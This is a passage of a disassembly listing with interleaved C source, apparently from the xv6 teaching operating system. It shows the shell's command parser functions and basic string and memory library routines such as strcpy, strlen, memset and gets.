738: 8b 4d d4 mov -0x2c(%ebp),%ecx break; 73b: 89 7d 08 mov %edi,0x8(%ebp) cmd->efile = efile; 73e: 8b 55 d0 mov -0x30(%ebp),%edx cmd->type = REDIR; 741: c7 07 02 00 00 00 movl $0x2,(%edi) break; 747: 83 c4 10 add $0x10,%esp cmd->cmd = subcmd; 74a: 89 47 04 mov %eax,0x4(%edi) cmd->file = file; 74d: 89 4f 08 mov %ecx,0x8(%edi) cmd->efile = efile; 750: 89 57 0c mov %edx,0xc(%edi) cmd->mode = mode; 753: c7 47 10 00 00 00 00 movl $0x0,0x10(%edi) cmd->fd = fd; 75a: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi) break; 761: e9 fa fe ff ff jmp 660 <parseredirs+0x10> 766: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 76d: 8d 76 00 lea 0x0(%esi),%esi } } return cmd; } 770: 8b 45 08 mov 0x8(%ebp),%eax 773: 8d 65 f4 lea -0xc(%ebp),%esp 776: 5b pop %ebx 777: 5e pop %esi 778: 5f pop %edi 779: 5d pop %ebp 77a: c3 ret panic("missing file for redirection"); 77b: 83 ec 0c sub $0xc,%esp 77e: 68 42 13 00 00 push $0x1342 783: e8 e8 f9 ff ff call 170 <panic> 788: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 78f: 90 nop 00000790 <parseexec>: gettoken(ps, es, 0, 0); cmd = parseredirs(cmd, ps, es); return cmd; } struct cmd *parseexec(char **ps, char *es) { 790: 55 push %ebp 791: 89 e5 mov %esp,%ebp 793: 57 push %edi 794: 56 push %esi 795: 53 push %ebx 796: 83 ec 30 sub $0x30,%esp 799: 8b 75 08 mov 0x8(%ebp),%esi 79c: 8b 7d 0c mov 0xc(%ebp),%edi char *q, *eq; int tok, argc; struct execcmd *cmd; struct cmd *ret; if (peek(ps, es, "(")) 79f: 68 62 13 00 00 push $0x1362 7a4: 57 push %edi 7a5: 56 push %esi 7a6: e8 25 fe ff ff call 5d0 <peek> 7ab: 83 c4 10 add $0x10,%esp 7ae: 85 c0 test %eax,%eax 7b0: 0f 85 aa 00 00 00 jne 860 <parseexec+0xd0> cmd = malloc(sizeof(*cmd)); 7b6: 83 ec 0c sub $0xc,%esp 7b9: 89 c3 mov %eax,%ebx 7bb: 6a 54 push $0x54 7bd: e8 3e 0a 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 7c2: 83 c4 0c add $0xc,%esp 7c5: 6a 54 push $0x54 7c7: 6a 00 push $0x0 7c9: 50 push %eax 7ca: 89 45 d0 mov %eax,-0x30(%ebp) 7cd: e8 be 04 00 00 call c90 <memset> cmd->type = EXEC; 7d2: 8b 45 d0 mov -0x30(%ebp),%eax ret = execcmd(); cmd = (struct execcmd *)ret; argc = 0; ret = parseredirs(ret, ps, es); 7d5: 83 c4 0c add $0xc,%esp cmd->type = EXEC; 7d8: c7 00 01 00 00 00 movl $0x1,(%eax) ret = parseredirs(ret, ps, es); 7de: 57 push %edi 7df: 56 push %esi 7e0: 50 push %eax 7e1: e8 6a fe ff ff call 650 <parseredirs> while (!peek(ps, es, "|)&;")) { 7e6: 83 c4 10 add $0x10,%esp ret = parseredirs(ret, ps, es); 7e9: 89 45 d4 mov %eax,-0x2c(%ebp) while (!peek(ps, es, "|)&;")) { 7ec: eb 15 jmp 803 <parseexec+0x73> 7ee: 66 90 xchg %ax,%ax cmd->argv[argc] = q; cmd->eargv[argc] = eq; argc++; if (argc >= MAXARGS) panic("too many args"); ret = parseredirs(ret, ps, es); 7f0: 83 ec 04 sub $0x4,%esp 7f3: 57 push %edi 7f4: 56 push %esi 7f5: ff 75 d4 push -0x2c(%ebp) 7f8: e8 53 fe ff ff call 650 <parseredirs> 7fd: 83 c4 10 add $0x10,%esp 800: 89 45 d4 mov %eax,-0x2c(%ebp) while (!peek(ps, es, "|)&;")) { 803: 83 ec 04 sub $0x4,%esp 806: 68 79 13 00 00 push $0x1379 80b: 57 push %edi 80c: 56 push %esi 80d: e8 be fd ff ff call 5d0 <peek> 812: 83 c4 10 add $0x10,%esp 815: 85 c0 test %eax,%eax 817: 75 5f jne 878 <parseexec+0xe8> if ((tok = gettoken(ps, es, &q, &eq)) == 0) 819: 8d 45 e4 lea -0x1c(%ebp),%eax 81c: 50 push %eax 81d: 8d 45 e0 lea -0x20(%ebp),%eax 820: 50 push %eax 821: 57 push %edi 822: 56 push %esi 823: e8 48 fc ff ff call 470 <gettoken> 828: 83 c4 10 add $0x10,%esp 82b: 85 c0 test %eax,%eax 82d: 74 49 je 878 <parseexec+0xe8> if (tok != 'a') 82f: 83 f8 61 cmp $0x61,%eax 832: 75 62 jne 896 <parseexec+0x106> cmd->argv[argc] = q; 834: 8b 45 e0 mov -0x20(%ebp),%eax 837: 8b 55 d0 mov -0x30(%ebp),%edx 83a: 89 44 9a 04 mov %eax,0x4(%edx,%ebx,4) cmd->eargv[argc] = eq; 83e: 8b 45 e4 mov -0x1c(%ebp),%eax 841: 89 44 9a 2c mov %eax,0x2c(%edx,%ebx,4) argc++; 845: 83 c3 01 add $0x1,%ebx if (argc >= MAXARGS) 848: 83 fb 0a cmp $0xa,%ebx 84b: 75 a3 jne 7f0 <parseexec+0x60> panic("too many args"); 84d: 83 ec 0c sub $0xc,%esp 850: 68 6b 13 00 00 push $0x136b 855: e8 16 f9 ff ff call 170 <panic> 85a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return parseblock(ps, es); 860: 89 7d 0c mov %edi,0xc(%ebp) 863: 89 75 08 mov %esi,0x8(%ebp) } cmd->argv[argc] = 0; cmd->eargv[argc] = 0; return ret; } 866: 8d 65 f4 lea -0xc(%ebp),%esp 869: 5b pop %ebx 86a: 5e pop %esi 86b: 5f pop %edi 86c: 5d pop %ebp return parseblock(ps, es); 86d: e9 ae 01 00 00 jmp a20 <parseblock> 872: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cmd->argv[argc] = 0; 878: 8b 45 d0 mov -0x30(%ebp),%eax 87b: c7 44 98 04 00 00 00 movl $0x0,0x4(%eax,%ebx,4) 882: 00 cmd->eargv[argc] = 0; 883: c7 44 98 2c 00 00 00 movl $0x0,0x2c(%eax,%ebx,4) 88a: 00 } 88b: 8b 45 d4 mov -0x2c(%ebp),%eax 88e: 8d 65 f4 lea -0xc(%ebp),%esp 891: 5b pop %ebx 892: 5e pop %esi 893: 5f pop %edi 894: 5d pop %ebp 895: c3 ret panic("syntax"); 896: 83 ec 0c sub $0xc,%esp 899: 68 64 13 00 00 push $0x1364 89e: e8 cd f8 ff ff call 170 <panic> 8a3: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000008b0 <parsepipe>: struct cmd *parsepipe(char **ps, char *es) { 8b0: 55 push %ebp 8b1: 89 e5 mov %esp,%ebp 8b3: 57 push %edi 8b4: 56 push %esi 8b5: 53 push %ebx 8b6: 83 ec 14 sub $0x14,%esp 8b9: 8b 75 08 mov 0x8(%ebp),%esi 8bc: 8b 7d 0c mov 0xc(%ebp),%edi cmd = parseexec(ps, es); 8bf: 57 push %edi 8c0: 56 push %esi 8c1: e8 ca fe ff ff call 790 <parseexec> if (peek(ps, es, "|")) { 8c6: 83 c4 0c add $0xc,%esp 8c9: 68 7e 13 00 00 push $0x137e cmd = parseexec(ps, es); 8ce: 89 c3 mov %eax,%ebx if (peek(ps, es, "|")) { 8d0: 57 push %edi 8d1: 56 push %esi 8d2: e8 f9 fc ff ff call 5d0 <peek> 8d7: 83 c4 10 add $0x10,%esp 8da: 85 c0 test %eax,%eax 8dc: 75 12 jne 8f0 <parsepipe+0x40> } 8de: 8d 65 f4 lea -0xc(%ebp),%esp 8e1: 89 d8 mov %ebx,%eax 8e3: 5b pop %ebx 8e4: 5e pop %esi 8e5: 5f pop %edi 8e6: 5d pop %ebp 8e7: c3 ret 8e8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8ef: 90 nop gettoken(ps, es, 0, 0); 8f0: 6a 00 push $0x0 8f2: 6a 00 push $0x0 8f4: 57 push %edi 8f5: 56 push %esi 8f6: e8 75 fb ff ff call 470 <gettoken> cmd = pipecmd(cmd, parsepipe(ps, es)); 8fb: 58 pop %eax 8fc: 5a pop %edx 8fd: 57 push %edi 8fe: 56 push %esi 8ff: e8 ac ff ff ff call 8b0 <parsepipe> cmd = malloc(sizeof(*cmd)); 904: c7 04 24 0c 00 00 00 movl $0xc,(%esp) cmd = pipecmd(cmd, parsepipe(ps, es)); 90b: 89 c7 mov %eax,%edi cmd = malloc(sizeof(*cmd)); 90d: e8 ee 08 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 912: 83 c4 0c add $0xc,%esp 915: 6a 0c push $0xc cmd = malloc(sizeof(*cmd)); 917: 89 c6 mov %eax,%esi memset(cmd, 0, sizeof(*cmd)); 919: 6a 00 push $0x0 91b: 50 push %eax 91c: e8 6f 03 00 00 call c90 <memset> cmd->left = left; 921: 89 5e 04 mov %ebx,0x4(%esi) cmd->right = right; 924: 83 c4 10 add $0x10,%esp 927: 89 f3 mov %esi,%ebx cmd->type = PIPE; 929: c7 06 03 00 00 00 movl $0x3,(%esi) } 92f: 89 d8 mov %ebx,%eax cmd->right = right; 931: 89 7e 08 mov %edi,0x8(%esi) } 934: 8d 65 f4 lea -0xc(%ebp),%esp 937: 5b pop %ebx 938: 5e pop %esi 939: 5f pop %edi 93a: 5d pop %ebp 93b: c3 ret 93c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000940 <parseline>: struct cmd *parseline(char **ps, char *es) { 940: 55 push %ebp 941: 89 e5 mov %esp,%ebp 943: 57 push %edi 944: 56 push %esi 945: 53 push %ebx 946: 83 ec 24 sub $0x24,%esp 949: 8b 75 08 mov 0x8(%ebp),%esi 94c: 8b 7d 0c mov 0xc(%ebp),%edi cmd = parsepipe(ps, es); 94f: 57 push %edi 950: 56 push %esi 951: e8 5a ff ff ff call 8b0 <parsepipe> while (peek(ps, es, "&")) { 956: 83 c4 10 add $0x10,%esp cmd = parsepipe(ps, es); 959: 89 c3 mov %eax,%ebx while (peek(ps, es, "&")) { 95b: eb 3b jmp 998 <parseline+0x58> 95d: 8d 76 00 lea 0x0(%esi),%esi gettoken(ps, es, 0, 0); 960: 6a 00 push $0x0 962: 6a 00 push $0x0 964: 57 push %edi 965: 56 push %esi 966: e8 05 fb ff ff call 470 <gettoken> cmd = malloc(sizeof(*cmd)); 96b: c7 04 24 08 00 00 00 movl $0x8,(%esp) 972: e8 89 08 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 977: 83 c4 0c add $0xc,%esp 97a: 6a 08 push $0x8 97c: 6a 00 push $0x0 97e: 50 push %eax 97f: 89 45 e4 mov %eax,-0x1c(%ebp) 982: e8 09 03 00 00 call c90 <memset> cmd->type = BACK; 987: 8b 55 e4 mov -0x1c(%ebp),%edx cmd->cmd = subcmd; 98a: 83 c4 10 add $0x10,%esp cmd->type = BACK; 98d: c7 02 05 00 00 00 movl $0x5,(%edx) cmd->cmd = subcmd; 993: 89 5a 04 mov %ebx,0x4(%edx) 996: 89 d3 mov %edx,%ebx while (peek(ps, es, "&")) { 998: 83 ec 04 sub $0x4,%esp 99b: 68 80 13 00 00 push $0x1380 9a0: 57 push %edi 9a1: 56 push %esi 9a2: e8 29 fc ff ff call 5d0 <peek> 9a7: 83 c4 10 add $0x10,%esp 9aa: 85 c0 test %eax,%eax 9ac: 75 b2 jne 960 <parseline+0x20> if (peek(ps, es, ";")) { 9ae: 83 ec 04 sub $0x4,%esp 9b1: 68 7c 13 00 00 push $0x137c 9b6: 57 push %edi 9b7: 56 push %esi 9b8: e8 13 fc ff ff call 5d0 <peek> 9bd: 83 c4 10 add $0x10,%esp 9c0: 85 c0 test %eax,%eax 9c2: 75 0c jne 9d0 <parseline+0x90> } 9c4: 8d 65 f4 lea -0xc(%ebp),%esp 9c7: 89 d8 mov %ebx,%eax 9c9: 5b pop %ebx 9ca: 5e pop %esi 9cb: 5f pop %edi 9cc: 5d pop %ebp 9cd: c3 ret 9ce: 66 90 xchg %ax,%ax gettoken(ps, es, 0, 0); 9d0: 6a 00 push $0x0 9d2: 6a 00 push $0x0 9d4: 57 push %edi 9d5: 56 push %esi 9d6: e8 95 fa ff ff call 470 <gettoken> cmd = listcmd(cmd, parseline(ps, es)); 9db: 58 pop %eax 9dc: 5a pop %edx 9dd: 57 push %edi 9de: 56 push %esi 9df: e8 5c ff ff ff call 940 <parseline> cmd = malloc(sizeof(*cmd)); 9e4: c7 04 24 0c 00 00 00 movl $0xc,(%esp) cmd = listcmd(cmd, parseline(ps, es)); 9eb: 89 c7 mov %eax,%edi cmd = malloc(sizeof(*cmd)); 9ed: e8 0e 08 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 9f2: 83 c4 0c add $0xc,%esp 9f5: 6a 0c push $0xc cmd = malloc(sizeof(*cmd)); 9f7: 89 c6 mov %eax,%esi memset(cmd, 0, sizeof(*cmd)); 9f9: 6a 00 push $0x0 9fb: 50 push %eax 9fc: e8 8f 02 00 00 call c90 <memset> cmd->left = left; a01: 89 5e 04 mov %ebx,0x4(%esi) cmd->right = right; a04: 83 c4 10 add $0x10,%esp a07: 89 f3 mov %esi,%ebx cmd->type = LIST; a09: c7 06 04 00 00 00 movl $0x4,(%esi) } a0f: 89 d8 mov %ebx,%eax cmd->right = right; a11: 89 7e 08 mov %edi,0x8(%esi) } a14: 8d 65 f4 lea -0xc(%ebp),%esp a17: 5b pop %ebx a18: 5e pop %esi a19: 5f pop %edi a1a: 5d pop %ebp a1b: c3 ret a1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000a20 <parseblock>: struct cmd *parseblock(char **ps, char *es) { a20: 55 push %ebp a21: 89 e5 mov %esp,%ebp a23: 57 push %edi a24: 56 push %esi a25: 53 push %ebx a26: 83 ec 10 sub $0x10,%esp a29: 8b 5d 08 mov 0x8(%ebp),%ebx a2c: 8b 75 0c mov 0xc(%ebp),%esi if (!peek(ps, es, "(")) a2f: 68 62 13 00 00 push $0x1362 a34: 56 push %esi a35: 53 push %ebx a36: e8 95 fb ff ff call 5d0 <peek> a3b: 83 c4 10 add $0x10,%esp a3e: 85 c0 test %eax,%eax a40: 74 4a je a8c <parseblock+0x6c> gettoken(ps, es, 0, 0); a42: 6a 00 push $0x0 a44: 6a 00 push $0x0 a46: 56 push %esi a47: 53 push %ebx a48: e8 23 fa ff ff call 470 <gettoken> cmd = parseline(ps, es); a4d: 58 pop %eax a4e: 5a pop %edx a4f: 56 push %esi a50: 53 push %ebx a51: e8 ea fe ff ff call 940 <parseline> if (!peek(ps, es, ")")) a56: 83 c4 0c add $0xc,%esp a59: 68 9e 13 00 00 push $0x139e cmd = parseline(ps, es); a5e: 89 c7 mov %eax,%edi if (!peek(ps, es, ")")) a60: 56 push %esi a61: 53 push %ebx a62: e8 69 fb ff ff call 5d0 <peek> a67: 83 c4 10 add $0x10,%esp a6a: 85 c0 test %eax,%eax a6c: 74 2b je a99 <parseblock+0x79> gettoken(ps, es, 0, 0); a6e: 6a 00 push $0x0 a70: 6a 00 push $0x0 a72: 56 push %esi a73: 53 push %ebx a74: e8 f7 f9 ff ff call 470 <gettoken> cmd = parseredirs(cmd, ps, es); a79: 83 c4 0c add $0xc,%esp a7c: 56 push %esi a7d: 53 push %ebx a7e: 57 push %edi a7f: e8 cc fb ff ff call 650 <parseredirs> } a84: 8d 65 f4 lea -0xc(%ebp),%esp a87: 5b pop %ebx a88: 5e pop %esi a89: 5f pop %edi a8a: 5d pop %ebp a8b: c3 ret panic("parseblock"); a8c: 83 ec 0c sub $0xc,%esp a8f: 68 82 13 00 00 push $0x1382 a94: e8 d7 f6 ff ff call 170 <panic> panic("syntax - missing )"); a99: 83 ec 0c sub $0xc,%esp a9c: 68 8d 13 00 00 push $0x138d aa1: e8 ca f6 ff ff call 170 <panic> aa6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi aad: 8d 76 00 lea 0x0(%esi),%esi 00000ab0 <nulterminate>: // NUL-terminate all the counted strings. struct cmd *nulterminate(struct cmd *cmd) { ab0: 55 push %ebp ab1: 89 e5 mov %esp,%ebp ab3: 53 push %ebx ab4: 83 ec 04 sub $0x4,%esp ab7: 8b 5d 08 mov 0x8(%ebp),%ebx struct execcmd *ecmd; struct listcmd *lcmd; struct pipecmd *pcmd; struct redircmd *rcmd; if (cmd == 0) aba: 85 db test %ebx,%ebx abc: 0f 84 8e 00 00 00 je b50 <nulterminate+0xa0> return 0; switch (cmd->type) { ac2: 83 3b 05 cmpl $0x5,(%ebx) ac5: 77 61 ja b28 <nulterminate+0x78> ac7: 8b 03 mov (%ebx),%eax ac9: ff 24 85 e0 13 00 00 jmp *0x13e0(,%eax,4) nulterminate(pcmd->right); break; case LIST: lcmd = (struct listcmd *)cmd; nulterminate(lcmd->left); ad0: 83 ec 0c sub $0xc,%esp ad3: ff 73 04 push 0x4(%ebx) ad6: e8 d5 ff ff ff call ab0 <nulterminate> nulterminate(lcmd->right); adb: 58 pop %eax adc: ff 73 08 push 0x8(%ebx) adf: e8 cc ff ff ff call ab0 <nulterminate> break; ae4: 83 c4 10 add $0x10,%esp ae7: 89 d8 mov %ebx,%eax bcmd = (struct backcmd *)cmd; nulterminate(bcmd->cmd); break; } return cmd; } ae9: 8b 5d fc mov -0x4(%ebp),%ebx aec: c9 leave aed: c3 ret aee: 66 90 xchg %ax,%ax nulterminate(bcmd->cmd); af0: 83 ec 0c sub $0xc,%esp af3: ff 73 04 push 0x4(%ebx) af6: e8 b5 ff ff ff call ab0 <nulterminate> break; afb: 89 d8 mov %ebx,%eax afd: 83 c4 10 add $0x10,%esp } b00: 8b 5d fc mov -0x4(%ebp),%ebx b03: c9 leave b04: c3 ret b05: 8d 76 00 lea 0x0(%esi),%esi for (i = 0; ecmd->argv[i]; i++) b08: 8b 4b 04 mov 0x4(%ebx),%ecx b0b: 8d 43 08 lea 0x8(%ebx),%eax b0e: 85 c9 test %ecx,%ecx b10: 74 16 je b28 <nulterminate+0x78> b12: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *ecmd->eargv[i] = 0; b18: 8b 50 24 mov 0x24(%eax),%edx for (i = 0; ecmd->argv[i]; i++) b1b: 83 c0 04 add $0x4,%eax *ecmd->eargv[i] = 0; b1e: c6 02 00 movb $0x0,(%edx) for (i = 0; ecmd->argv[i]; i++) b21: 8b 50 fc mov -0x4(%eax),%edx b24: 85 d2 test %edx,%edx b26: 75 f0 jne b18 <nulterminate+0x68> switch (cmd->type) { b28: 89 d8 mov %ebx,%eax } b2a: 8b 5d fc mov -0x4(%ebp),%ebx b2d: c9 leave b2e: c3 ret b2f: 90 nop nulterminate(rcmd->cmd); b30: 83 ec 0c sub $0xc,%esp b33: ff 73 04 push 0x4(%ebx) b36: e8 75 ff ff ff call ab0 <nulterminate> *rcmd->efile = 0; b3b: 8b 43 0c mov 0xc(%ebx),%eax break; b3e: 83 c4 10 add $0x10,%esp *rcmd->efile = 0; b41: c6 00 00 movb $0x0,(%eax) break; b44: 89 d8 mov %ebx,%eax } b46: 8b 5d fc mov -0x4(%ebp),%ebx b49: c9 leave b4a: c3 ret b4b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi b4f: 90 nop return 0; b50: 31 c0 xor %eax,%eax b52: eb 95 jmp ae9 <nulterminate+0x39> b54: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi b5b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi b5f: 90 nop 00000b60 <parsecmd>: struct cmd *parsecmd(char *s) { b60: 55 push %ebp b61: 89 e5 mov %esp,%ebp b63: 57 push %edi b64: 56 push %esi cmd = parseline(&s, es); b65: 8d 7d 08 lea 0x8(%ebp),%edi struct cmd *parsecmd(char *s) { b68: 53 push %ebx b69: 83 ec 18 sub $0x18,%esp es = s + strlen(s); b6c: 8b 5d 08 mov 0x8(%ebp),%ebx b6f: 53 push %ebx b70: e8 eb 00 00 00 call c60 <strlen> cmd = parseline(&s, es); b75: 59 pop %ecx b76: 5e pop %esi es = s + strlen(s); b77: 01 c3 add %eax,%ebx cmd = parseline(&s, es); b79: 53 push %ebx b7a: 57 push %edi b7b: e8 c0 fd ff ff call 940 <parseline> peek(&s, es, ""); b80: 83 c4 0c add $0xc,%esp b83: 68 2c 13 00 00 push $0x132c cmd = parseline(&s, es); b88: 89 c6 mov %eax,%esi peek(&s, es, ""); b8a: 53 push %ebx b8b: 57 push %edi b8c: e8 3f fa ff ff call 5d0 <peek> if (s != es) { b91: 8b 45 08 mov 0x8(%ebp),%eax b94: 83 c4 10 add $0x10,%esp b97: 39 d8 cmp %ebx,%eax b99: 75 13 jne bae <parsecmd+0x4e> nulterminate(cmd); b9b: 83 ec 0c sub $0xc,%esp b9e: 56 push %esi b9f: e8 0c ff ff ff call ab0 <nulterminate> } ba4: 8d 65 f4 lea -0xc(%ebp),%esp ba7: 89 f0 mov %esi,%eax ba9: 5b pop %ebx baa: 5e pop %esi bab: 5f pop %edi bac: 5d pop %ebp bad: c3 ret printf(2, "leftovers: %s\n", s); bae: 52 push %edx baf: 50 push %eax bb0: 68 a0 13 00 00 push $0x13a0 bb5: 6a 02 push $0x2 bb7: e8 14 04 00 00 call fd0 <printf> panic("syntax"); bbc: c7 04 24 64 13 00 00 movl $0x1364,(%esp) bc3: e8 a8 f5 ff ff call 170 <panic> bc8: 66 90 xchg %ax,%ax bca: 66 90 xchg %ax,%ax bcc: 66 90 xchg %ax,%ax bce: 66 90 xchg %ax,%ax 00000bd0 <strcpy>: #include "stat.h" #include "types.h" #include "user.h" #include "x86.h" char *strcpy(char *s, const char *t) { bd0: 55 push %ebp char *os; os = s; while ((*s++ = *t++) != 0) bd1: 31 c0 xor %eax,%eax char *strcpy(char *s, const char *t) { bd3: 89 e5 mov %esp,%ebp bd5: 53 push %ebx bd6: 8b 4d 08 mov 0x8(%ebp),%ecx bd9: 8b 5d 0c mov 0xc(%ebp),%ebx bdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while ((*s++ = *t++) != 0) be0: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx be4: 88 14 01 mov %dl,(%ecx,%eax,1) be7: 83 c0 01 add $0x1,%eax bea: 84 d2 test %dl,%dl bec: 75 f2 jne be0 <strcpy+0x10> ; return os; } bee: 8b 5d fc mov -0x4(%ebp),%ebx bf1: 89 c8 mov %ecx,%eax bf3: c9 leave bf4: c3 ret bf5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000c00 <strcmp>: int strcmp(const char *p, const char *q) { c00: 55 push %ebp c01: 89 e5 mov %esp,%ebp c03: 53 push %ebx c04: 8b 55 08 mov 0x8(%ebp),%edx c07: 8b 4d 0c mov 0xc(%ebp),%ecx while (*p && *p == *q) c0a: 0f b6 02 movzbl (%edx),%eax c0d: 84 c0 test %al,%al c0f: 75 17 jne c28 <strcmp+0x28> c11: eb 3a jmp c4d <strcmp+0x4d> c13: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c17: 90 nop c18: 0f b6 42 01 movzbl 0x1(%edx),%eax p++, q++; c1c: 83 c2 01 add $0x1,%edx c1f: 8d 59 01 lea 0x1(%ecx),%ebx while (*p && *p == *q) c22: 84 c0 test %al,%al c24: 74 1a je c40 <strcmp+0x40> p++, q++; c26: 89 d9 mov %ebx,%ecx while (*p && *p == *q) c28: 0f b6 19 movzbl (%ecx),%ebx c2b: 38 c3 cmp %al,%bl c2d: 74 e9 je c18 <strcmp+0x18> return (uchar)*p - (uchar)*q; c2f: 29 d8 sub %ebx,%eax } c31: 8b 5d fc mov -0x4(%ebp),%ebx c34: c9 leave c35: c3 ret c36: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi c3d: 8d 76 00 lea 0x0(%esi),%esi return (uchar)*p - (uchar)*q; c40: 0f b6 59 01 movzbl 0x1(%ecx),%ebx c44: 31 c0 xor %eax,%eax c46: 29 d8 sub %ebx,%eax } c48: 8b 5d fc mov -0x4(%ebp),%ebx c4b: c9 leave c4c: c3 ret return (uchar)*p - (uchar)*q; c4d: 0f b6 19 movzbl (%ecx),%ebx c50: 31 c0 xor %eax,%eax c52: eb db jmp c2f <strcmp+0x2f> c54: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi c5b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c5f: 90 nop 00000c60 <strlen>: uint strlen(const char *s) { c60: 55 push %ebp c61: 89 e5 mov %esp,%ebp c63: 8b 55 08 mov 0x8(%ebp),%edx int n; for (n = 0; s[n]; n++) c66: 80 3a 00 cmpb $0x0,(%edx) c69: 74 15 je c80 <strlen+0x20> c6b: 31 c0 xor %eax,%eax c6d: 8d 76 00 lea 0x0(%esi),%esi c70: 83 c0 01 add $0x1,%eax c73: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) c77: 89 c1 mov %eax,%ecx c79: 75 f5 jne c70 <strlen+0x10> ; return n; } c7b: 89 c8 mov %ecx,%eax c7d: 5d pop %ebp c7e: c3 ret c7f: 90 nop for (n = 0; s[n]; n++) c80: 31 c9 xor %ecx,%ecx } c82: 5d pop %ebp c83: 89 c8 mov %ecx,%eax c85: c3 ret c86: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi c8d: 8d 76 00 lea 0x0(%esi),%esi 00000c90 <memset>: void *memset(void *dst, int c, uint n) { c90: 55 push %ebp c91: 89 e5 mov %esp,%ebp c93: 57 push %edi c94: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : c97: 8b 4d 10 mov 0x10(%ebp),%ecx c9a: 8b 45 0c mov 0xc(%ebp),%eax c9d: 89 d7 mov %edx,%edi c9f: fc cld ca0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } ca2: 8b 7d fc mov -0x4(%ebp),%edi ca5: 89 d0 mov %edx,%eax ca7: c9 leave ca8: c3 ret ca9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000cb0 <strchr>: char *strchr(const char *s, char c) { cb0: 55 push %ebp cb1: 89 e5 mov %esp,%ebp cb3: 8b 45 08 mov 0x8(%ebp),%eax cb6: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for (; *s; s++) cba: 0f b6 10 movzbl (%eax),%edx cbd: 84 d2 test %dl,%dl cbf: 75 12 jne cd3 <strchr+0x23> cc1: eb 1d jmp ce0 <strchr+0x30> cc3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cc7: 90 nop cc8: 0f b6 50 01 movzbl 0x1(%eax),%edx ccc: 83 c0 01 add $0x1,%eax ccf: 84 d2 test %dl,%dl cd1: 74 0d je ce0 <strchr+0x30> if (*s == c) cd3: 38 d1 cmp %dl,%cl cd5: 75 f1 jne cc8 <strchr+0x18> return (char *)s; return 0; } cd7: 5d pop %ebp cd8: c3 ret cd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; ce0: 31 c0 xor %eax,%eax } ce2: 5d pop %ebp ce3: c3 ret ce4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ceb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cef: 90 nop 00000cf0 <gets>: char *gets(char *buf, int max) { cf0: 55 push %ebp cf1: 89 e5 mov %esp,%ebp cf3: 57 push %edi cf4: 56 push %esi int i, cc; char c; for (i = 0; i + 1 < max;) { cc = read(0, &c, 1); cf5: 8d 7d e7 lea -0x19(%ebp),%edi char *gets(char *buf, int max) { cf8: 53 push %ebx for (i = 0; i + 1 < max;) { cf9: 31 db xor %ebx,%ebx char *gets(char *buf, int max) { cfb: 83 ec 1c sub $0x1c,%esp for (i = 0; i + 1 < max;) { cfe: eb 27 jmp d27 <gets+0x37> cc = read(0, &c, 1); d00: 83 ec 04 sub $0x4,%esp d03: 6a 01 push $0x1 d05: 57 push %edi d06: 6a 00 push $0x0 d08: e8 4e 01 00 00 call e5b <read> if (cc < 1) d0d: 83 c4 10 add $0x10,%esp d10: 85 c0 test %eax,%eax d12: 7e 1d jle d31 <gets+0x41> break; buf[i++] = c; d14: 0f b6 45 e7 movzbl -0x19(%ebp),%eax d18: 8b 55 08 mov 0x8(%ebp),%edx d1b: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if (c == '\n' || c == '\r') d1f: 3c 0a cmp $0xa,%al d21: 74 1d je d40 <gets+0x50> d23: 3c 0d cmp $0xd,%al d25: 74 19 je d40 <gets+0x50> for (i = 0; i + 1 < max;) { d27: 89 de mov %ebx,%esi d29: 83 c3 01 add $0x1,%ebx d2c: 3b 5d 0c cmp 0xc(%ebp),%ebx d2f: 7c cf jl d00 <gets+0x10> break; } buf[i] = '\0'; d31: 8b 45 08 mov 0x8(%ebp),%eax d34: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } d38: 8d 65 f4 lea -0xc(%ebp),%esp d3b: 5b pop %ebx d3c: 5e pop %esi d3d: 5f pop %edi d3e: 5d pop %ebp d3f: c3 ret buf[i] = '\0'; d40: 8b 45 08 mov 0x8(%ebp),%eax d43: 89 de mov %ebx,%esi d45: c6 04 30 00 movb $0x0,(%eax,%esi,1) } d49: 8d 65 f4 lea -0xc(%ebp),%esp d4c: 5b pop %ebx d4d: 5e pop %esi d4e: 5f pop %edi d4f: 5d pop %ebp d50: c3 ret 